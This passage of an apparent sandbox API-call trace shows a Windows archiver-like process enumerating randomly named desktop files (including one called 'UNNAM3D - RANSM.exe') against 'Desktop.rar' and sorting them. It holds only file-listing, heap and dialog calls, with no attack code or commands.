lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="IaWqKnXFr.m4a", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1c) returned 0x1ec0a658c10 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Jil3P9aQS_.avi", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a658cd0 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0a658880 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="k5qtEIg5teHIWg.png", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x26) returned 0x1ec0a658b80 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Kd7Nt21v7fSUs0ibbZr.pdf", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c940 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="kVcraZcrAD.png", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1e) returned 0x1ec0a658820 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2c) returned 0x1ec0a63c500 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="M6unjbqHC6Vi.avi", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x22) returned 0x1ec0a6588b0 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="mwUpgAicntsdXOa.wav", cchCount2=-1) returned 1 [0062.161] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0a658b50 [0062.161] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="oOWu_URf4xodTCzItb.m4a", cchCount2=-1) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2e) returned 0x1ec0a63ce40 [0062.162] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="P1f3eP0sOin1nUyy.csv", cchCount2=-1) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63cc80 [0062.162] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x16) returned 0x1ec0a64b8d0 [0062.162] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1) returned 1 [0062.162] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414d4720, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.162] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0062.162] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414d32d0, nMaxCount=2560 | out: lpString="16 files found") returned 14 [0062.162] SetWindowTextW (hWnd=0x1028a, lpString="32 files found") returned 1 [0062.163] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0062.163] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414d32d0, nMaxCount=2560 | out: lpString="") returned 0 [0062.163] GetTickCount () returned 0x2576d [0062.163] PeekMessageW (in: lpMsg=0xe414d4ac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414d4ac0) returned 1 [0062.163] GetMessageW (in: lpMsg=0xe414d4a50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414d4a50) returned 1 [0062.163] GetFocus () returned 0x102a8 [0062.163] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414d4a50) returned 1 [0062.163] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.163] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a65e010, Size=0x1b00) returned 0x1ec0a662300 [0062.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63bf40 [0062.163] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1) returned 1 [0062.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x14) returned 0x1ec0a64b950 [0062.163] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0a658d00 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2e) returned 0x1ec0a63c300 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="t1UTy", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xc) returned 0x1ec0a64b990 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1010) returned 0x1ec0a663e10 [0062.164] FindFirstFileW (in: lpFileName="t1UTy\\*", lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 0x1ec0a64d4a0 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="0jOnjZop-702GRg.png", cchCount2=-1) returned 3 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x34) returned 0x1ec0a63c180 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="P4m7gaW ZT.flv", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2a) returned 0x1ec0a63c7c0 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="rjFeGvlijme.swf", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2c) returned 0x1ec0a63c780 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="x ddEQMGCa7.ots", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2c) returned 0x1ec0a63c340 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="y04cYW4-8JsL5Y8T29Y.xls", cchCount2=-1) returned 1 [0062.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x3c) returned 0x1ec0a657370 [0062.164] FindNextFileW (in: hFindFile=0x1ec0a64d4a0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 0 [0062.165] GetLastError () returned 0x12 [0062.165] FindClose (in: hFindFile=0x1ec0a64d4a0 | out: hFindFile=0x1ec0a64d4a0) returned 1 [0062.165] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a663e10 | out: hHeap=0x1ec0a590000) returned 1 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1) returned 1 [0062.165] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0a649da0 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="UNNAM3D - RANSM.exe", cchCount2=-1) returned 1 [0062.165] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0bfef790 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="vmwN.flv", cchCount2=-1) returned 1 [0062.165] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x12) returned 0x1ec0a64b970 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="yo39-hWsdk Kwqd0cHA.flv", cchCount2=-1) returned 1 [0062.165] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c380 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 1 [0062.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="_wLo_T-_xHQoQCx.mp4", cchCount2=-1) returned 3 [0062.165] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0bfefc10 [0062.165] FindNextFileW (in: hFindFile=0x1ec0a64cea0, lpFindFileData=0xe414d30f0 | out: lpFindFileData=0xe414d30f0) returned 0 [0062.165] GetLastError () returned 0x12 [0062.165] FindClose (in: hFindFile=0x1ec0a64cea0 | out: hFindFile=0x1ec0a64cea0) returned 1 [0062.165] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6602d0 | out: hHeap=0x1ec0a590000) returned 1 [0062.165] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.165] GetLastError () returned 0x12 [0062.165] SetLastError (dwErrCode=0x12) [0062.165] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414d4760, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.166] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0062.166] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414d3310, nMaxCount=2560 | out: lpString="32 files found") returned 14 [0062.166] SetWindowTextW (hWnd=0x1028a, lpString="46 files found") returned 1 [0062.166] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0062.166] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414d3310, nMaxCount=2560 | out: lpString="") returned 0 [0062.166] GetTickCount () returned 0x2576d [0062.166] PeekMessageW (in: lpMsg=0xe414d4b00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414d4b00) returned 1 [0062.166] GetMessageW (in: lpMsg=0xe414d4a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414d4a90) returned 1 [0062.167] GetFocus () returned 0x102a8 [0062.167] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414d4a90) returned 1 [0062.168] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x0 [0062.168] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.168] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c4480 [0062.168] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0062.168] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CompareStringOrdinal") returned 0x7ff92fde8fb0 [0062.168] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="yo39-hWsdk Kwqd0cHA.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.168] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="UNNAM3D - RANSM.exe", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="Jil3P9aQS_.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="IaWqKnXFr.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="t1UTy\\rjFeGvlijme.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="Hx3Tlhe_5jId0OJhP6.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="t1UTy\\0jOnjZop-702GRg.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="hqk1KnpsNtd.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="hh4lRnb.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="HBzA3ifwtSZxE.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="H9Q00myyEZo.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="oOWu_URf4xodTCzItb.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="gG_HZ-HV.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="M6unjbqHC6Vi.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="GAXF44R72SInzUMj.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="kZvsWRlw_Unl_4-z2.png", cchCount1=-1, lpString2="kVcraZcrAD.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="kZvsWRlw_Unl_4-z2.png", cchCount1=-1, lpString2="EKbd9czGD.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="Kd7Nt21v7fSUs0ibbZr.pdf", cchCount1=-1, lpString2="k5qtEIg5teHIWg.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="Kd7Nt21v7fSUs0ibbZr.pdf", cchCount1=-1, lpString2="dRR2.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="vmwN.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="yo39-hWsdk Kwqd0cHA.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.169] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="t1UTy\\x ddEQMGCa7.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="chO6xvKC4SuwQxTe.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="chO6xvKC4SuwQxTe.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="t1UTy", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="cdf 0O.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="t1UTy\\0jOnjZop-702GRg.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.169] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="cdf 0O.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="AG0E6OHBnNCn.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.169] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="AG0E6OHBnNCn.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="mwUpgAicntsdXOa.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.169] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="oOWu_URf4xodTCzItb.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="kZvsWRlw_Unl_4-z2.png", cchCount1=-1, lpString2="Kd7Nt21v7fSUs0ibbZr.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="kZvsWRlw_Unl_4-z2.png", cchCount1=-1, lpString2="4WmeXcoy8E.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="EKbd9czGD.bmp", cchCount1=-1, lpString2="kVcraZcrAD.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="kVcraZcrAD.png", cchCount1=-1, lpString2="4WmeXcoy8E.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="vmwN.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="t1UTy", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="cdf 0O.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="mwUpgAicntsdXOa.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal 